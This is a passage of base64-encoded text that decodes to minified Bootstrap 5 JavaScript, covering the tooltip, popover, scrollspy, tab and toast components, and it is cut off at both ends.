LHRoaXMuX2VsZW1lbnQuc2V0QXR0cmlidXRlKCJkYXRhLWJzLW9yaWdpbmFsLXRpdGxlIix0KSx0aGlzLl9lbGVtZW50LnJlbW92ZUF0dHJpYnV0ZSgidGl0bGUiKSl9X2VudGVyKCl7dGhpcy5faXNTaG93bigpfHx0aGlzLl9pc0hvdmVyZWQ/dGhpcy5faXNIb3ZlcmVkPSEwOih0aGlzLl9pc0hvdmVyZWQ9ITAsdGhpcy5fc2V0VGltZW91dCgoKCk9Pnt0aGlzLl9pc0hvdmVyZWQmJnRoaXMuc2hvdygpfSksdGhpcy5fY29uZmlnLmRlbGF5LnNob3cpKX1fbGVhdmUoKXt0aGlzLl9pc1dpdGhBY3RpdmVUcmlnZ2VyKCl8fCh0aGlzLl9pc0hvdmVyZWQ9ITEsdGhpcy5fc2V0VGltZW91dCgoKCk9Pnt0aGlzLl9pc0hvdmVyZWR8fHRoaXMuaGlkZSgpfSksdGhpcy5fY29uZmlnLmRlbGF5LmhpZGUpKX1fc2V0VGltZW91dCh0LGUpe2NsZWFyVGltZW91dCh0aGlzLl90aW1lb3V0KSx0aGlzLl90aW1lb3V0PXNldFRpbWVvdXQodCxlKX1faXNXaXRoQWN0aXZlVHJpZ2dlcigpe3JldHVybiBPYmplY3QudmFsdWVzKHRoaXMuX2FjdGl2ZVRyaWdnZXIpLmluY2x1ZGVzKCEwKX1fZ2V0Q29uZmlnKHQpe2NvbnN0IGU9Qi5nZXREYXRhQXR0cmlidXRlcyh0aGlzLl9lbGVtZW50KTtmb3IoY29uc3QgdCBvZiBPYmplY3Qua2V5cyhlKSlKaS5oYXModCkmJmRlbGV0ZSBlW3RdO3JldHVybiB0PXsuLi5lLC4uLiJvYmplY3QiPT10eXBlb2YgdCYmdD90Ont9fSx0PXRoaXMuX21lcmdlQ29uZmlnT2JqKHQpLHQ9dGhpcy5fY29uZmlnQWZ0ZXJNZXJnZSh0KSx0aGlzLl90eXBlQ2hlY2tDb25maWcodCksdH1fY29uZmlnQWZ0ZXJNZXJnZSh0KXtyZXR1cm4gdC5jb250YWluZXI9ITE9PT10LmNvbnRhaW5lcj9kb2N1bWVudC5ib2R5OnIodC5jb250YWluZXIpLCJudW1iZXIiPT10eXBlb2YgdC5kZWxheSYmKHQuZGVsYXk9e3Nob3c6dC5kZWxheSxoaWRlOnQuZGVsYXl9KSwibnVtYmVyIj09dHlwZW9mIHQudGl0bGUmJih0LnRpdGxlPXQudGl0bGUudG9TdHJpbmcoKSksIm51bWJlciI9PXR5cGVvZiB0LmNvbnRlbnQmJih0LmNvbnRlbnQ9dC5jb250ZW50LnRvU3RyaW5nKCkpLHR9X2dldERlbGVnYXRlQ29uZmlnKCl7Y29uc3QgdD17fTtmb3IoY29uc3QgZSBpbiB0aGlzLl9jb25maWcpdGhpcy5jb25zdHJ1Y3Rvci5EZWZhdWx0W2VdIT09dGhpcy5fY29uZmlnW2VdJiYodFtlXT10aGlzLl9jb25maWdbZV0pO3JldHVybiB0LnNlbGVjdG9yPSExLHQudHJpZ2dlcj0ibWFudWFsIix0fV9kaXNwb3NlUG9wcGVyKCl7dGhpcy5fcG9wcGVyJiYodGhpcy5fcG9wcGVyLmRlc3Ryb3koKSx0aGlzLl9wb3BwZXI9bnVsbCl9c3RhdGljIGpRdWVyeUludGVyZmFjZSh0KXtyZXR1cm4gdGhpcy5lYWNoKChmdW5jdGlvbigpe2NvbnN0IGU9Y24uZ2V0T3JDcmVhdGVJbnN0YW5jZSh0aGlzLHQpO2lmKCJzdHJpbmciPT10eXBlb2YgdCl7aWYodm9pZCAwPT09ZVt0XSl0aHJvdyBuZXcgVHlwZUVycm9yKGBObyBtZXRob2QgbmFtZWQgIiR7dH0iYCk7ZVt0XSgpfX0pKX19Zyhjbik7Y29uc3QgaG49ey4uLmNuLkRlZmF1bHQsY29udGVudDoiIixvZmZzZXQ6WzAsOF0scGxhY2VtZW50OiJyaWdodCIsdGVtcGxhdGU6JzxkaXYgY2xhc3M9InBvcG92ZXIiIHJvbGU9InRvb2x0aXAiPjxkaXYgY2xhc3M9InBvcG92ZXItYXJyb3ciPjwvZGl2PjxoMyBjbGFzcz0icG9wb3Zlci1oZWFkZXIiPjwvaDM+PGRpdiBjbGFzcz0icG9wb3Zlci1ib2R5Ij48L2Rpdj48L2Rpdj4nLHRyaWdnZXI6ImNsaWNrIn0sZG49ey4uLmNuLkRlZmF1bHRUeXBlLGNvbnRlbnQ6IihudWxsfHN0cmluZ3xlbGVtZW50fGZ1bmN0aW9uKSJ9O2NsYXNzIHVuIGV4dGVuZHMgY257c3RhdGljIGdldCBEZWZhdWx0KCl7cmV0dXJuIGhufXN0YXRpYyBnZXQgRGVmYXVsdFR5cGUoKXtyZXR1cm4gZG59c3RhdGljIGdldCBOQU1FKCl7cmV0dXJuInBvcG92ZXIifV9pc1dpdGhDb250ZW50KCl7cmV0dXJuIHRoaXMuX2dldFRpdGxlKCl8fHRoaXMuX2dldENvbnRlbnQoKX1fZ2V0Q29udGVudEZvclRlbXBsYXRlKCl7cmV0dXJueyIucG9wb3Zlci1oZWFkZXIiOnRoaXMuX2dldFRpdGxlKCksIi5wb3BvdmVyLWJvZHkiOnRoaXMuX2dldENvbnRlbnQoKX19X2dldENvbnRlbnQoKXtyZXR1cm4gdGhpcy5fcmVzb2x2ZVBvc3NpYmxlRnVuY3Rpb24odGhpcy5fY29uZmlnLmNvbnRlbnQpfXN0YXRpYyBqUXVlcnlJbnRlcmZhY2UodCl7cmV0dXJuIHRoaXMuZWFjaCgoZnVuY3Rpb24oKXtjb25zdCBlPXVuLmdldE9yQ3JlYXRlSW5zdGFuY2UodGhpcyx0KTtpZigic3RyaW5nIj09dHlwZW9mIHQpe2lmKHZvaWQgMD09PWVbdF0pdGhyb3cgbmV3IFR5cGVFcnJvcihgTm8gbWV0aG9kIG5hbWVkICIke3R9ImApO2VbdF0oKX19KSl9fWcodW4pO2NvbnN0IGZuPSJjbGljay5icy5zY3JvbGxzcHkiLHBuPSJhY3RpdmUiLGduPSJbaHJlZl0iLG1uPXtvZmZzZXQ6bnVsbCxyb290TWFyZ2luOiIwcHggMHB4IC0yNSUiLHNtb290aFNjcm9sbDohMSx0YXJnZXQ6bnVsbCx0aHJlc2hvbGQ6Wy4xLC41LDFdfSxfbj17b2Zmc2V0OiIobnVtYmVyfG51bGwpIixyb290TWFyZ2luOiJzdHJpbmciLHNtb290aFNjcm9sbDoiYm9vbGVhbiIsdGFyZ2V0OiJlbGVtZW50Iix0aHJlc2hvbGQ6ImFycmF5In07Y2xhc3MgYm4gZXh0ZW5kcyB6e2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIodCxlKSx0aGlzLl90YXJnZXRMaW5rcz1uZXcgTWFwLHRoaXMuX29ic2VydmFibGVTZWN0aW9ucz1uZXcgTWFwLHRoaXMuX3Jvb3RFbGVtZW50PSJ2aXNpYmxlIj09PWdldENvbXB1dGVkU3R5bGUodGhpcy5fZWxlbWVudCkub3ZlcmZsb3dZP251bGw6dGhpcy5fZWxlbWVudCx0aGlzLl9hY3RpdmVUYXJnZXQ9bnVsbCx0aGlzLl9vYnNlcnZlcj1udWxsLHRoaXMuX3ByZXZpb3VzU2Nyb2xsRGF0YT17dmlzaWJsZUVudHJ5VG9wOjAscGFyZW50U2Nyb2xsVG9wOjB9LHRoaXMucmVmcmVzaCgpfXN0YXRpYyBnZXQgRGVmYXVsdCgpe3JldHVybiBtbn1zdGF0aWMgZ2V0IERlZmF1bHRUeXBlKCl7cmV0dXJuIF9ufXN0YXRpYyBnZXQgTkFNRSgpe3JldHVybiJzY3JvbGxzcHkifXJlZnJlc2goKXt0aGlzLl9pbml0aWFsaXplVGFyZ2V0c0FuZE9ic2VydmFibGVzKCksdGhpcy5fbWF5YmVFbmFibGVTbW9vdGhTY3JvbGwoKSx0aGlzLl9vYnNlcnZlcj90aGlzLl9vYnNlcnZlci5kaXNjb25uZWN0KCk6dGhpcy5fb2JzZXJ2ZXI9dGhpcy5fZ2V0TmV3T2JzZXJ2ZXIoKTtmb3IoY29uc3QgdCBvZiB0aGlzLl9vYnNlcnZhYmxlU2VjdGlvbnMudmFsdWVzKCkpdGhpcy5fb2JzZXJ2ZXIub2JzZXJ2ZSh0KX1kaXNwb3NlKCl7dGhpcy5fb2JzZXJ2ZXIuZGlzY29ubmVjdCgpLHN1cGVyLmRpc3Bvc2UoKX1fY29uZmlnQWZ0ZXJNZXJnZSh0KXtyZXR1cm4gdC50YXJnZXQ9cih0LnRhcmdldCl8fGRvY3VtZW50LmJvZHksdC5yb290TWFyZ2luPXQub2Zmc2V0P2Ake3Qub2Zmc2V0fXB4IDBweCAtMzAlYDp0LnJvb3RNYXJnaW4sInN0cmluZyI9PXR5cGVvZiB0LnRocmVzaG9sZCYmKHQudGhyZXNob2xkPXQudGhyZXNob2xkLnNwbGl0KCIsIikubWFwKCh0PT5OdW1iZXIucGFyc2VGbG9hdCh0KSkpKSx0fV9tYXliZUVuYWJsZVNtb290aFNjcm9sbCgpe3RoaXMuX2NvbmZpZy5zbW9vdGhTY3JvbGwmJihQLm9mZih0aGlzLl9jb25maWcudGFyZ2V0LGZuKSxQLm9uKHRoaXMuX2NvbmZpZy50YXJnZXQsZm4sZ24sKHQ9Pntjb25zdCBlPXRoaXMuX29ic2VydmFibGVTZWN0aW9ucy5nZXQodC50YXJnZXQuaGFzaCk7aWYoZSl7dC5wcmV2ZW50RGVmYXVsdCgpO2NvbnN0IGk9dGhpcy5fcm9vdEVsZW1lbnR8fHdpbmRvdyxuPWUub2Zmc2V0VG9wLXRoaXMuX2VsZW1lbnQub2Zmc2V0VG9wO2lmKGkuc2Nyb2xsVG8pcmV0dXJuIHZvaWQgaS5zY3JvbGxUbyh7dG9wOm4sYmVoYXZpb3I6InNtb290aCJ9KTtpLnNjcm9sbFRvcD1ufX0pKSl9X2dldE5ld09ic2VydmVyKCl7Y29uc3QgdD17cm9vdDp0aGlzLl9yb290RWxlbWVudCx0aHJlc2hvbGQ6dGhpcy5fY29uZmlnLnRocmVzaG9sZCxyb290TWFyZ2luOnRoaXMuX2NvbmZpZy5yb290TWFyZ2lufTtyZXR1cm4gbmV3IEludGVyc2VjdGlvbk9ic2VydmVyKCh0PT50aGlzLl9vYnNlcnZlckNhbGxiYWNrKHQpKSx0KX1fb2JzZXJ2ZXJDYWxsYmFjayh0KXtjb25zdCBlPXQ9PnRoaXMuX3RhcmdldExpbmtzLmdldChgIyR7dC50YXJnZXQuaWR9YCksaT10PT57dGhpcy5fcHJldmlvdXNTY3JvbGxEYXRhLnZpc2libGVFbnRyeVRvcD10LnRhcmdldC5vZmZzZXRUb3AsdGhpcy5fcHJvY2VzcyhlKHQpKX0sbj0odGhpcy5fcm9vdEVsZW1lbnR8fGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkuc2Nyb2xsVG9wLHM9bj49dGhpcy5fcHJldmlvdXNTY3JvbGxEYXRhLnBhcmVudFNjcm9sbFRvcDt0aGlzLl9wcmV2aW91c1Njcm9sbERhdGEucGFyZW50U2Nyb2xsVG9wPW47Zm9yKGNvbnN0IG8gb2YgdCl7aWYoIW8uaXNJbnRlcnNlY3Rpbmcpe3RoaXMuX2FjdGl2ZVRhcmdldD1udWxsLHRoaXMuX2NsZWFyQWN0aXZlQ2xhc3MoZShvKSk7Y29udGludWV9Y29uc3QgdD1vLnRhcmdldC5vZmZzZXRUb3A+PXRoaXMuX3ByZXZpb3VzU2Nyb2xsRGF0YS52aXNpYmxlRW50cnlUb3A7aWYocyYmdCl7aWYoaShvKSwhbilyZXR1cm59ZWxzZSBzfHx0fHxpKG8pfX1faW5pdGlhbGl6ZVRhcmdldHNBbmRPYnNlcnZhYmxlcygpe3RoaXMuX3RhcmdldExpbmtzPW5ldyBNYXAsdGhpcy5fb2JzZXJ2YWJsZVNlY3Rpb25zPW5ldyBNYXA7Y29uc3QgdD1RLmZpbmQoZ24sdGhpcy5fY29uZmlnLnRhcmdldCk7Zm9yKGNvbnN0IGUgb2YgdCl7aWYoIWUuaGFzaHx8bChlKSljb250aW51ZTtjb25zdCB0PVEuZmluZE9uZShlLmhhc2gsdGhpcy5fZWxlbWVudCk7YSh0KSYmKHRoaXMuX3RhcmdldExpbmtzLnNldChlLmhhc2gsZSksdGhpcy5fb2JzZXJ2YWJsZVNlY3Rpb25zLnNldChlLmhhc2gsdCkpfX1fcHJvY2Vzcyh0KXt0aGlzLl9hY3RpdmVUYXJnZXQhPT10JiYodGhpcy5fY2xlYXJBY3RpdmVDbGFzcyh0aGlzLl9jb25maWcudGFyZ2V0KSx0aGlzLl9hY3RpdmVUYXJnZXQ9dCx0LmNsYXNzTGlzdC5hZGQocG4pLHRoaXMuX2FjdGl2YXRlUGFyZW50cyh0KSxQLnRyaWdnZXIodGhpcy5fZWxlbWVudCwiYWN0aXZhdGUuYnMuc2Nyb2xsc3B5Iix7cmVsYXRlZFRhcmdldDp0fSkpfV9hY3RpdmF0ZVBhcmVudHModCl7aWYodC5jbGFzc0xpc3QuY29udGFpbnMoImRyb3Bkb3duLWl0ZW0iKSlRLmZpbmRPbmUoIi5kcm9wZG93bi10b2dnbGUiLHQuY2xvc2VzdCgiLmRyb3Bkb3duIikpLmNsYXNzTGlzdC5hZGQocG4pO2Vsc2UgZm9yKGNvbnN0IGUgb2YgUS5wYXJlbnRzKHQsIi5uYXYsIC5saXN0LWdyb3VwIikpZm9yKGNvbnN0IHQgb2YgUS5wcmV2KGUsIi5uYXYtbGluaywgLm5hdi1pdGVtID4gLm5hdi1saW5rLCAubGlzdC1ncm91cC1pdGVtIikpdC5jbGFzc0xpc3QuYWRkKHBuKX1fY2xlYXJBY3RpdmVDbGFzcyh0KXt0LmNsYXNzTGlzdC5yZW1vdmUocG4pO2NvbnN0IGU9US5maW5kKCJbaHJlZl0uYWN0aXZlIix0KTtmb3IoY29uc3QgdCBvZiBlKXQuY2xhc3NMaXN0LnJlbW92ZShwbil9c3RhdGljIGpRdWVyeUludGVyZmFjZSh0KXtyZXR1cm4gdGhpcy5lYWNoKChmdW5jdGlvbigpe2NvbnN0IGU9Ym4uZ2V0T3JDcmVhdGVJbnN0YW5jZSh0aGlzLHQpO2lmKCJzdHJpbmciPT10eXBlb2YgdCl7aWYodm9pZCAwPT09ZVt0XXx8dC5zdGFydHNXaXRoKCJfIil8fCJjb25zdHJ1Y3RvciI9PT10KXRocm93IG5ldyBUeXBlRXJyb3IoYE5vIG1ldGhvZCBuYW1lZCAiJHt0fSJgKTtlW3RdKCl9fSkpfX1QLm9uKHdpbmRvdywibG9hZC5icy5zY3JvbGxzcHkuZGF0YS1hcGkiLCgoKT0+e2Zvcihjb25zdCB0IG9mIFEuZmluZCgnW2RhdGEtYnMtc3B5PSJzY3JvbGwiXScpKWJuLmdldE9yQ3JlYXRlSW5zdGFuY2UodCl9KSksZyhibik7Y29uc3Qgdm49IkFycm93TGVmdCIseW49IkFycm93UmlnaHQiLHduPSJBcnJvd1VwIixBbj0iQXJyb3dEb3duIixFbj0iYWN0aXZlIixUbj0iZmFkZSIsQ249InNob3ciLE9uPSdbZGF0YS1icy10b2dnbGU9InRhYiJdLCBbZGF0YS1icy10b2dnbGU9InBpbGwiXSwgW2RhdGEtYnMtdG9nZ2xlPSJsaXN0Il0nLHhuPWAubmF2LWxpbms6bm90KC5kcm9wZG93bi10b2dnbGUpLCAubGlzdC1ncm91cC1pdGVtOm5vdCguZHJvcGRvd24tdG9nZ2xlKSwgW3JvbGU9InRhYiJdOm5vdCguZHJvcGRvd24tdG9nZ2xlKSwgJHtPbn1gO2NsYXNzIGtuIGV4dGVuZHMgentjb25zdHJ1Y3Rvcih0KXtzdXBlcih0KSx0aGlzLl9wYXJlbnQ9dGhpcy5fZWxlbWVudC5jbG9zZXN0KCcubGlzdC1ncm91cCwgLm5hdiwgW3JvbGU9InRhYmxpc3QiXScpLHRoaXMuX3BhcmVudCYmKHRoaXMuX3NldEluaXRpYWxBdHRyaWJ1dGVzKHRoaXMuX3BhcmVudCx0aGlzLl9nZXRDaGlsZHJlbigpKSxQLm9uKHRoaXMuX2VsZW1lbnQsImtleWRvd24uYnMudGFiIiwodD0+dGhpcy5fa2V5ZG93bih0KSkpKX1zdGF0aWMgZ2V0IE5BTUUoKXtyZXR1cm4idGFiIn1zaG93KCl7Y29uc3QgdD10aGlzLl9lbGVtZW50O2lmKHRoaXMuX2VsZW1Jc0FjdGl2ZSh0KSlyZXR1cm47Y29uc3QgZT10aGlzLl9nZXRBY3RpdmVFbGVtKCksaT1lP1AudHJpZ2dlcihlLCJoaWRlLmJzLnRhYiIse3JlbGF0ZWRUYXJnZXQ6dH0pOm51bGw7UC50cmlnZ2VyKHQsInNob3cuYnMudGFiIix7cmVsYXRlZFRhcmdldDplfSkuZGVmYXVsdFByZXZlbnRlZHx8aSYmaS5kZWZhdWx0UHJldmVudGVkfHwodGhpcy5fZGVhY3RpdmF0ZShlLHQpLHRoaXMuX2FjdGl2YXRlKHQsZSkpfV9hY3RpdmF0ZSh0LGUpe3QmJih0LmNsYXNzTGlzdC5hZGQoRW4pLHRoaXMuX2FjdGl2YXRlKG4odCkpLHRoaXMuX3F1ZXVlQ2FsbGJhY2soKCgpPT57InRhYiI9PT10LmdldEF0dHJpYnV0ZSgicm9sZSIpPyh0LnJlbW92ZUF0dHJpYnV0ZSgidGFiaW5kZXgiKSx0LnNldEF0dHJpYnV0ZSgiYXJpYS1zZWxlY3RlZCIsITApLHRoaXMuX3RvZ2dsZURyb3BEb3duKHQsITApLFAudHJpZ2dlcih0LCJzaG93bi5icy50YWIiLHtyZWxhdGVkVGFyZ2V0OmV9KSk6dC5jbGFzc0xpc3QuYWRkKENuKX0pLHQsdC5jbGFzc0xpc3QuY29udGFpbnMoVG4pKSl9X2RlYWN0aXZhdGUodCxlKXt0JiYodC5jbGFzc0xpc3QucmVtb3ZlKEVuKSx0LmJsdXIoKSx0aGlzLl9kZWFjdGl2YXRlKG4odCkpLHRoaXMuX3F1ZXVlQ2FsbGJhY2soKCgpPT57InRhYiI9PT10LmdldEF0dHJpYnV0ZSgicm9sZSIpPyh0LnNldEF0dHJpYnV0ZSgiYXJpYS1zZWxlY3RlZCIsITEpLHQuc2V0QXR0cmlidXRlKCJ0YWJpbmRleCIsIi0xIiksdGhpcy5fdG9nZ2xlRHJvcERvd24odCwhMSksUC50cmlnZ2VyKHQsImhpZGRlbi5icy50YWIiLHtyZWxhdGVkVGFyZ2V0OmV9KSk6dC5jbGFzc0xpc3QucmVtb3ZlKENuKX0pLHQsdC5jbGFzc0xpc3QuY29udGFpbnMoVG4pKSl9X2tleWRvd24odCl7aWYoIVt2bix5bix3bixBbl0uaW5jbHVkZXModC5rZXkpKXJldHVybjt0LnN0b3BQcm9wYWdhdGlvbigpLHQucHJldmVudERlZmF1bHQoKTtjb25zdCBlPVt5bixBbl0uaW5jbHVkZXModC5rZXkpLGk9Yih0aGlzLl9nZXRDaGlsZHJlbigpLmZpbHRlcigodD0+IWwodCkpKSx0LnRhcmdldCxlLCEwKTtpJiYoaS5mb2N1cyh7cHJldmVudFNjcm9sbDohMH0pLGtuLmdldE9yQ3JlYXRlSW5zdGFuY2UoaSkuc2hvdygpKX1fZ2V0Q2hpbGRyZW4oKXtyZXR1cm4gUS5maW5kKHhuLHRoaXMuX3BhcmVudCl9X2dldEFjdGl2ZUVsZW0oKXtyZXR1cm4gdGhpcy5fZ2V0Q2hpbGRyZW4oKS5maW5kKCh0PT50aGlzLl9lbGVtSXNBY3RpdmUodCkpKXx8bnVsbH1fc2V0SW5pdGlhbEF0dHJpYnV0ZXModCxlKXt0aGlzLl9zZXRBdHRyaWJ1dGVJZk5vdEV4aXN0cyh0LCJyb2xlIiwidGFibGlzdCIpO2Zvcihjb25zdCB0IG9mIGUpdGhpcy5fc2V0SW5pdGlhbEF0dHJpYnV0ZXNPbkNoaWxkKHQpfV9zZXRJbml0aWFsQXR0cmlidXRlc09uQ2hpbGQodCl7dD10aGlzLl9nZXRJbm5lckVsZW1lbnQodCk7Y29uc3QgZT10aGlzLl9lbGVtSXNBY3RpdmUodCksaT10aGlzLl9nZXRPdXRlckVsZW1lbnQodCk7dC5zZXRBdHRyaWJ1dGUoImFyaWEtc2VsZWN0ZWQiLGUpLGkhPT10JiZ0aGlzLl9zZXRBdHRyaWJ1dGVJZk5vdEV4aXN0cyhpLCJyb2xlIiwicHJlc2VudGF0aW9uIiksZXx8dC5zZXRBdHRyaWJ1dGUoInRhYmluZGV4IiwiLTEiKSx0aGlzLl9zZXRBdHRyaWJ1dGVJZk5vdEV4aXN0cyh0LCJyb2xlIiwidGFiIiksdGhpcy5fc2V0SW5pdGlhbEF0dHJpYnV0ZXNPblRhcmdldFBhbmVsKHQpfV9zZXRJbml0aWFsQXR0cmlidXRlc09uVGFyZ2V0UGFuZWwodCl7Y29uc3QgZT1uKHQpO2UmJih0aGlzLl9zZXRBdHRyaWJ1dGVJZk5vdEV4aXN0cyhlLCJyb2xlIiwidGFicGFuZWwiKSx0LmlkJiZ0aGlzLl9zZXRBdHRyaWJ1dGVJZk5vdEV4aXN0cyhlLCJhcmlhLWxhYmVsbGVkYnkiLGAjJHt0LmlkfWApKX1fdG9nZ2xlRHJvcERvd24odCxlKXtjb25zdCBpPXRoaXMuX2dldE91dGVyRWxlbWVudCh0KTtpZighaS5jbGFzc0xpc3QuY29udGFpbnMoImRyb3Bkb3duIikpcmV0dXJuO2NvbnN0IG49KHQsbik9Pntjb25zdCBzPVEuZmluZE9uZSh0LGkpO3MmJnMuY2xhc3NMaXN0LnRvZ2dsZShuLGUpfTtuKCIuZHJvcGRvd24tdG9nZ2xlIixFbiksbigiLmRyb3Bkb3duLW1lbnUiLENuKSxpLnNldEF0dHJpYnV0ZSgiYXJpYS1leHBhbmRlZCIsZSl9X3NldEF0dHJpYnV0ZUlmTm90RXhpc3RzKHQsZSxpKXt0Lmhhc0F0dHJpYnV0ZShlKXx8dC5zZXRBdHRyaWJ1dGUoZSxpKX1fZWxlbUlzQWN0aXZlKHQpe3JldHVybiB0LmNsYXNzTGlzdC5jb250YWlucyhFbil9X2dldElubmVyRWxlbWVudCh0KXtyZXR1cm4gdC5tYXRjaGVzKHhuKT90OlEuZmluZE9uZSh4bix0KX1fZ2V0T3V0ZXJFbGVtZW50KHQpe3JldHVybiB0LmNsb3Nlc3QoIi5uYXYtaXRlbSwgLmxpc3QtZ3JvdXAtaXRlbSIpfHx0fXN0YXRpYyBqUXVlcnlJbnRlcmZhY2UodCl7cmV0dXJuIHRoaXMuZWFjaCgoZnVuY3Rpb24oKXtjb25zdCBlPWtuLmdldE9yQ3JlYXRlSW5zdGFuY2UodGhpcyk7aWYoInN0cmluZyI9PXR5cGVvZiB0KXtpZih2b2lkIDA9PT1lW3RdfHx0LnN0YXJ0c1dpdGgoIl8iKXx8ImNvbnN0cnVjdG9yIj09PXQpdGhyb3cgbmV3IFR5cGVFcnJvcihgTm8gbWV0aG9kIG5hbWVkICIke3R9ImApO2VbdF0oKX19KSl9fVAub24oZG9jdW1lbnQsImNsaWNrLmJzLnRhYiIsT24sKGZ1bmN0aW9uKHQpe1siQSIsIkFSRUEiXS5pbmNsdWRlcyh0aGlzLnRhZ05hbWUpJiZ0LnByZXZlbnREZWZhdWx0KCksbCh0aGlzKXx8a24uZ2V0T3JDcmVhdGVJbnN0YW5jZSh0aGlzKS5zaG93KCl9KSksUC5vbih3aW5kb3csImxvYWQuYnMudGFiIiwoKCk9Pntmb3IoY29uc3QgdCBvZiBRLmZpbmQoJy5hY3RpdmVbZGF0YS1icy10b2dnbGU9InRhYiJdLCAuYWN0aXZlW2RhdGEtYnMtdG9nZ2xlPSJwaWxsIl0sIC5hY3RpdmVbZGF0YS1icy10b2dnbGU9Imxpc3QiXScpKWtuLmdldE9yQ3JlYXRlSW5zdGFuY2UodCl9KSksZyhrbik7Y29uc3QgTG49ImhpZGUiLERuPSJzaG93IixTbj0ic2hvd2luZyIsSW49e2FuaW1hdGlvbjoiYm9vbGVhbiIsYXV0b2hpZGU6ImJvb2xlYW4iLGRlbGF5OiJudW1iZXIifSxObj17YW5pbWF0aW9uOiEwLGF1dG9oaWRlOiEwLGRlbGF5OjVlM307Y2xhc3MgUG4gZXh0ZW5kcyB6e2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIodCxlKSx0aGlzLl90aW1lb3V0PW51bGwsdGhpcy5faGFzTW91c2VJbnRlcmFjdGlvbj0hMSx0aGlzLl9oYXNLZXlib2FyZEludGVyYWN0aW9uPSExLHRoaXMuX3NldExpc3RlbmVycygpfXN0YXRpYyBnZXQgRGVmYXVsdCgpe3JldHVybiBObn1zdGF0aWMgZ2V0IERlZmF1bHRUeXBlKCl7cmV0dXJuIElufXN0YXRpYyBnZXQgTkFNRSgpe3JldHVybiJ0b2FzdCJ9c2hvdygpe1AudHJpZ2dlcih0aGlzLl9lbGVtZW50LCJzaG93LmJzLnRvYXN0IikuZGVmYXVsdFByZXZlbnRlZHx8KHRoaXMuX2NsZWFyVGltZW91dCgpLHRoaXMuX2NvbmZpZy5hbmltYXRpb24mJnRoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LmFkZCgiZmFkZSIpLHRoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZShMbiksZCh0aGlzLl9lbGVtZW50KSx0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC5hZGQoRG4sU24pLHRoaXMuX3F1ZXVlQ2FsbGJhY2soKCgpPT57dGhpcy5fZWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKFNuKSxQLnRyaWdnZXIodGhpcy5fZWxlbWVudCwic2hvd24uYnMudG9hc3QiKSx0aGlzLl9tYXliZVNjaGVkdWxlSGlkZSgpfSksdGhpcy5fZWxlbWVudCx0aGlzLl9jb25maWcuYW5pbWF0aW9uKSl9aGlkZSgpe3RoaXMuaXNTaG93bigpJiYoUC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsImhpZGUuYnMudG9hc3QiKS5kZWZhdWx0UHJldmVudGVkfHwodGhpcy5fZWxlbWVudC5jbGFzc0xpc3QuYWRkKFNuKSx0aGlzLl9xdWV1ZUNhbGxiYWNrKCgoKT0+e3RoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LmFkZChMbiksdGhpcy5fZWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKFNuLERuKSxQLnRyaWdnZXIodGhpcy5fZWxlbWVudCwiaGlkZGVuLmJzLnRvYXN0Iil9KSx0aGlzLl9lbGVtZW50LHRoaXMuX2NvbmZpZy5hbmltYXRpb24pKSl9ZGlzcG9zZSgpe3RoaXMuX2NsZWFyVGltZW91dCgpLHRoaXMuaXNTaG93bigpJiZ0aGlzLl9lbGVtZW50LmNsYXNzTGlzdC5yZW1vdmUoRG4pLHN1cGVyLmRpc3Bvc2UoKX1pc1Nob3duKCl7cmV0dXJuIHRoaXMuX2VsZW1lbnQuY2xhc3NMaXN0LmNvbnRhaW5zKERuKX1fbWF5YmVTY2hlZHVsZUhpZGUoKXt0aGlzLl9jb25maWcuYXV0b2hpZGUmJih0aGlzLl9oYXNNb3VzZUludGVyYWN0aW9ufHx0aGlzLl9oYXNLZXlib2FyZEludGVyYWN0aW9ufHwodGhpcy5fdGltZW91dD1zZXRUaW1lb3V0KCgoKT0+e3RoaXMuaGlkZSgpfSksdGhpcy5fY29uZmlnLmRlbGF5KSkpfV9vbkludGVyYWN0aW9uKHQsZSl7c3dpdGNoKHQudHlwZSl7Y2FzZSJtb3VzZW92ZXIiOmNhc2UibW91c2VvdXQiOnRoaXMuX2hhc01vdXNlSW50ZXJhY3Rpb249ZTticmVhaztjYXNlImZvY3VzaW4iOmNhc2UiZm9jdXNvdXQiOnRoaXMuX2hhc0tleWJvYXJkSW50ZXJhY3Rpb249ZX1pZihlKXJldHVybiB2b2lkIHRoaXMuX2NsZWFyVGltZW91dCgpO2NvbnN0IGk9dC5yZWxhdGVkVGFyZ2V0O3RoaXMuX2VsZW1lbnQ9PT1pfHx0aGlzLl9lbGVtZW50LmNvbnRhaW5zKGkpfHx0aGlzLl9tYXliZVNjaGVkdWxlSGlkZSgpfV9zZXRMaXN0ZW5lcnMoKXtQLm9uKHRoaXMuX2VsZW1lbnQsIm1vdXNlb3Zlci5icy50b2FzdCIsKHQ9PnRoaXMuX29uSW50ZXJhY3Rpb24odCwhMCkpKSxQLm9uKHRoaXMuX2VsZW1lbnQsIm1vdXNlb3V0LmJzLnRvYXN0IiwodD0+dGhpcy5fb25JbnRlcmFjdGlvbih0LCExKSkpLFAub24odGhpcy5fZWxlbWVudCwiZm9jdXNpbi5icy50b2FzdCIsKHQ9PnRoaXMuX29uSW50ZXJhY3Rpb24odCwhMCkpKSxQLm9uKHRoaXMuX2VsZW1lbnQsImZvY3Vzb3V0LmJzLnRvYXN0IiwodD0+dGhpcy5fb25JbnRlcmFjdGlvbih0LCExKSkpfV9jbGVhclRpbWVvdXQoKXtjbGVhclRpbWVvdXQodGhpcy5fdGltZW91dCksdGhpcy5fdGltZW91dD1udWxsfXN0YXRpYyBqUXVlcnlJbnRlcmZhY2UodCl7cmV0dXJuIHRoaXMuZWFjaCgoZnVuY3Rpb24oKXtjb25zdCBlPVBuLmdldE9yQ3JlYXRlSW5zdGFuY2UodGhpcyx0KTtpZigic3RyaW5nIj09dHlwZW9mIHQpe2lmKHZvaWQgMD09PWVbdF0pdGhyb3cgbmV3IFR5cGVFcnJvcihgTm8gbWV0aG9kIG5hbWVkICIke3R9ImApO2VbdF0odGhpcyl9fSkpfX1yZXR1cm4gcShQbiksZyhQbikse0FsZXJ0OlIsQnV0dG9uOkssQ2Fyb3VzZWw6YX